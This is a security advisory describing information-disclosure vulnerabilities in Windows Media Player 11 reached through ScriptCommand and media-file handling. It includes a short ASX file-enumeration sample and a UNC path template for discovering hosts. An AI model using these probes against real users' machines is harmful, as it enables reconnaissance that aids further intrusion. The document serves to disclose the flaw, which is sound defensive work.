Microsoft Windows Media Player ScriptCommand Multiple Information Disclosure Vulnerabilities

Bugtraq ID:	35335
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 12 2009 12:00AM
Updated:	Nov 02 2009 05:57PM
Credit:	Rosario Valotta
Vulnerable:	Microsoft Windows Media Player 11
Not Vulnerable:

Microsoft Windows Media Player ScriptCommand Multiple Information Disclosure Vulnerabilities

Microsoft Windows Media Player is prone to multiple information-disclosure vulnerabilities because it fails to properly restrict access to certain functionality when handling media files.

An attacker can exploit these vulnerabilities to obtain information that may aid in further attacks.

Microsoft Windows Media Player ScriptCommand Multiple Information Disclosure Vulnerabilities

The following file-enumeration example is available:

<ASX version="3.0">
<ENTRY>
<REF href="file://c:/test.wma"/>
</ENTRY>
</ASX>


The following command may be used to discover hosts:

file://\\<IP>\c$\a.mp3

Microsoft Windows Media Player ScriptCommand Multiple Information Disclosure Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Microsoft Windows Media Player ScriptCommand Multiple Information Disclosure Vulnerabilities

References:

• Backdooring Windows Media Files (once again...) (Rosario Valotta)
  
• Microsoft Homepage (Microsoft)
  
• Windows Media Player Plugin: Local File Detection Vulnerability ([email protected])